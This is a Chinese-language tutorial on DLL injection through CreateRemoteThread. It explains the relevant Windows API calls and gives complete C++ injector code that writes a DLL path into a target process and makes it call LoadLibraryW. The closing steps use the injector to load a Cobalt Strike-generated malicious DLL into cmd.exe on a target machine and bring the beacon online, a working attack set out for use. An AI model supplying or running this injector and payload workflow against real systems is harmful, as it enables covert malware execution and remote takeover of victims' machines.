1. 程式人生 > 其它 >程序注入之CreateRemoteThread()

程序注入之CreateRemoteThread()

注入原理

原理是將惡意的動態連結庫路徑寫入到另一個程序的虛擬空間內,通過在目標程序中建立遠端執行緒進行載入。

但是程式不會無故載入我們惡意的dll,所以我們就要使用Windows API了,它提供了大量的函式來附加和操縱其他程序。
API中的所有函式都包含於DLL檔案之中。其中,最重要的是Kernel32.dll(包含管理記憶體,程序和執行緒相關的函式),User32.dll(大部分是使用者介面函式),和“GDI32.dll”(繪製圖形和顯示文字相關的函式)等。

注入程式碼的實現

由於基本上大多數程序都會使用Kernel32.dll,核心思想就是在目標程序中開啟一個執行緒呼叫LoadLibrary

函式來載入我們想要注入的dll
大致注入流程如下圖

使用到的一些函式

OpenProcess函式
OpenProcess函式用來開啟一個已存在的程序物件,並返回程序的控制代碼。

 HANDLE OpenProcess(
  DWORD dwDesiredAccess, //想擁有的該程序訪問許可權
  BOOL bInheritHandle, // 是否繼承控制代碼
  DWORD dwProcessId// 被開啟程序的PID
        );

引數解釋:
a.dwDesiredAccess:想擁有的該程序訪問許可權
PROCESS_ALL_ACCESS //所有能獲得的許可權
PROCESS_CREATE_PROCESS //需要建立一個程序
PROCESS_CREATE_THREAD //需要建立一個執行緒
PROCESS_DUP_HANDLE //重複使用DuplicateHandle控制代碼
PROCESS_QUERY_INFORMATION //獲得程序資訊的許可權,如它的退出程式碼、優先順序
PROCESS_QUERY_LIMITED_INFORMATION (獲得某些資訊的許可權,如果獲得了PROCESS_QUERY_INFORMATION,也擁有PROCESS_QUERY_LIMITED_INFORMATION許可權)
PROCESS_SET_INFORMATION //設定某些資訊的許可權,如程序優先順序
PROCESS_SET_QUOTA //設定記憶體限制的許可權,使用SetProcessWorkingSetSize
PROCESS_SUSPEND_RESUME //暫停或恢復程序的許可權
PROCESS_TERMINATE //終止一個程序的許可權,使用TerminateProcess
PROCESS_VM_OPERATION //操作程序記憶體空間的許可權(可用VirtualProtectEx和WriteProcessMemory)
PROCESS_VM_READ //讀取程序記憶體空間的許可權,可使用ReadProcessMemory
PROCESS_VM_WRITE //讀取程序記憶體空間的許可權,可使用WriteProcessMemory
SYNCHRONIZE //等待程序終止
b.bInheritHandle:表示所得到的程序控制代碼是否可以被繼承
c.dwProcessId:被開啟程序的PID

返回值:
如成功,返回值為指定程序的控制代碼。
如失敗,返回值為NULL,可呼叫GetLastError()獲得錯誤程式碼。

VirtualAllocEx函式
獲得返回控制代碼之後再用VirtualAllocEx函式,在目標程序中開闢一塊記憶體存放我們的dll的路徑。

LPVOID VirtualAllocEx(
HANDLE hProcess, // 申請記憶體所在的程序控制代碼
LPVOID lpAddress, // 保留頁面的記憶體地址;一般用NULL自動分配
SIZE_T dwSize, // 欲分配的記憶體大小,位元組單位;注意實際分 配的記憶體大小是頁記憶體大小的整數倍
DWORD flAllocationType, //為特定的頁面區域分配記憶體中或磁碟
DWORD flProtect //受保護狀態
); 

WriteProcessMemory函式
之後使用WriteProcessMemory函式向目標記憶體寫入dll地址

BOOL WINAPI WriteProcessMemory(
  _In_  HANDLE  hProcess, //由OpenProcess返回的程序控制代碼。
  _In_  LPVOID  lpBaseAddress, //要寫的記憶體首地址
  _In_  LPCVOID lpBuffer, //指向要寫的資料的指標。
  _In_  SIZE_T  nSize, //要寫入的位元組數。
  _Out_ SIZE_T  *lpNumberOfBytesWritten //返回值。返回實際寫入的位元組
);

GetProcAddress函式獲得LoadLibraryW函式的起始地址。LoadLibraryW函式位於Kernel32.dll中,再用CreateRemoteThread函式讓目標程序執行LoadLibraryW來載入被注入的dll。函式結束將返回載入dll後的模組控制代碼。
注意:這裡的LoadLibrary函式在底層實際呼叫有兩種可能,如果目標程式使用的是ANSI編碼方式,LoadLibrary實際呼叫的是LoadLibraryA,其引數字串應當是ANSI編碼;
如果目標程式使用的是Unicode編碼方式,LoadLibrary實際呼叫的是LoadLibraryW,其引數字串應當是Unicode編碼。

完整程式碼

// ConsoleApplication1.cpp : 此檔案包含 "main" 函式。程式執行將在此處開始並結束。
#include <iostream>
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <Tlhelp32.h>

BOOL Inject(DWORD dwId, WCHAR* szPath)
//引數1:目標程序id; 引數2:DLL路徑
{
	//1.在目標程序中申請一個空間
	/*
	1.1獲取目標程序控制代碼
	引數1:想要擁有的程序許可權
	引數2:表示所得到的程序控制代碼是否可以被繼承
	引數3:被開啟進程序的pid
	返回值:指定程序的控制代碼
	*/
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwId);
	/*
	1.2在目標程序中開闢空間
	引數1:目標程序控制代碼
	引數2:保留頁面的記憶體地址,一般用NULL自動分配
	引數3:想要分配的記憶體大小,位元組為單位
	引數4:ME_COMMIT:為特定的頁面區域分配記憶體中或磁碟的頁面檔案中的物理儲存
	引數5:PAGE_READWRITE:區域可被應用程式讀寫
	返回值:執行成功就返回分配記憶體的首地址,不成功就是NULL
	*/
	LPVOID pRemoteAdress = VirtualAllocEx(
		hProcess,
		NULL,
		wcslen(szPath) * 2,
		MEM_COMMIT,
		PAGE_READWRITE
	);
	//2.把dll的路徑寫入到目標程序的記憶體空間中
	DWORD dwWriteSize = 0;
	/*
	寫一段資料到剛才給指定程序所開闢的記憶體空間裡
	引數1:OpenProcess返回的程序控制代碼
	引數2:準備寫入的記憶體地址
	引數3:指向要寫入的資料指標(準備寫入的東西)
	引數4:要寫的位元組數(東西的長度+0/)
	引數5:返回值,返回實際寫入的位元組
	*/
	BOOL bRet = WriteProcessMemory(hProcess, pRemoteAdress, szPath, wcslen(szPath) * 2, NULL);
	//3.建立一個遠端執行緒,讓目標程序呼叫LoadLibrary
	/*
	引數1:該遠端執行緒所屬程序的程序控制代碼
	引數2:一個指向SECURITY_ATTRIBUTES結構的指標,該結構指定了執行緒的安全屬性
	引數3:執行緒棧初始大小,以位元組為單位,若該值設為0,那麼使用系統預設大小
	引數4:在遠端程序的地址空間中,該執行緒的執行緒函式的起始地址(也就是這個執行緒具體乾的活)
	引數5:傳給執行緒函式的引數(剛才在記憶體裡開闢的空間裡寫入的東西)
	引數6:控制執行緒建立的標誌。0(NULL)表示該執行緒在建立後立即執行
	引數7:指向接收執行緒識別符號的變數的指標。如果為NULL,則不返回執行緒識別符號
	返回值;如果函式成功,則返回值是新執行緒的控制代碼。如果函式失敗,則返回值為NULL
	*/

	//獲取模組地址
	HMODULE hModule = GetModuleHandle(L"kernel32.dll");
	if (!hModule)
	{
		printf("GetModuleHandle Error !\n");
		GetLastError();
		CloseHandle(hProcess);
		return FALSE;
	}
	//獲取LoadLibraryA函式地址
	LPTHREAD_START_ROUTINE dwLoadAddr = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryW");
	if (!dwLoadAddr)
	{
		printf("GetProcAddress Error !\n");
		GetLastError();
		CloseHandle(hProcess);
		CloseHandle(hModule);
		return FALSE;
	}
	//建立遠端執行緒,載入dll
	HANDLE hThread = CreateRemoteThread(
		hProcess,
		NULL,
		0,
		(LPTHREAD_START_ROUTINE)dwLoadAddr,
		pRemoteAdress,
		NULL,
		NULL
	);
	//WaitForSingleObject(hThread, -1);當控制代碼所指的執行緒右訊號的時候才會返回
	/*
	4.釋放申請的虛擬記憶體空間
	引數1:目標程序的控制代碼。該控制代碼必須擁有PROCESS_VM-OPERATION許可權
	引數2:指向要釋放的虛擬記憶體空間首地址的指標
	引數3:虛擬記憶體空間的位元組數
	引數4:MEM_DECOMMIT僅表示記憶體空間不可用,記憶體頁還將存在
	MEM_RELEASE這種方式很徹底,完全回收。
	VirtualFreeEx(hProcess, pRemoteAddress, 1, MEM_DECOMMIT);
	*/
	return 0;
}
DWORD GetPid(WCHAR* szName)
{
	HANDLE hprocessSnap = NULL;
	PROCESSENTRY32 pe32 = { 0 };
	hprocessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	/*if (hprocessSnap == (HANDLE)-1) { return 0; }*/
	pe32.dwSize = sizeof(PROCESSENTRY32);
	if (Process32First(hprocessSnap, &pe32))
	{
		do {
			if (!wcscmp(szName, pe32.szExeFile))
				return (int)pe32.th32ProcessID;
		} while (Process32Next(hprocessSnap, &pe32));
	}
	else 
		CloseHandle(hprocessSnap);
	return 0;
}
int main()
{
	wchar_t wStr[] = L"·····";//要注入的dll檔案地址
	DWORD dwId = 0;
	DWORD dwPid = 0;
	WCHAR S[] = L"···";//注入的目標exe檔案
	DWORD  SS = GetPid(S);
	printf("目標視窗的程序PID為:%d\n", SS);
	//引數1:目標程序的PID
	//引數2:想要注入dll的路徑
	Inject(SS, wStr);
	system("pause");
	return 0;
}

利用此方法上線CS

1.開啟Visual Studio新建一個專案

2.將上述完整程式碼新增進去

3.我們利用cs建立一個監聽

4.生成惡意dll檔案

這裡根據需求選擇32位或者64位,我這裡演示的是32位的,選擇剛才建立的監聽

生成dll檔案

5.將dll檔案放置在目標機的D盤下,我這裡注入的程序是cmd.exe,並將main函式補全。

6.編譯生成exe檔案,在將該exe檔案在目標及執行即可

7.檢查發現cmd.exe中成功載入了惡意dll,且CS也成功上線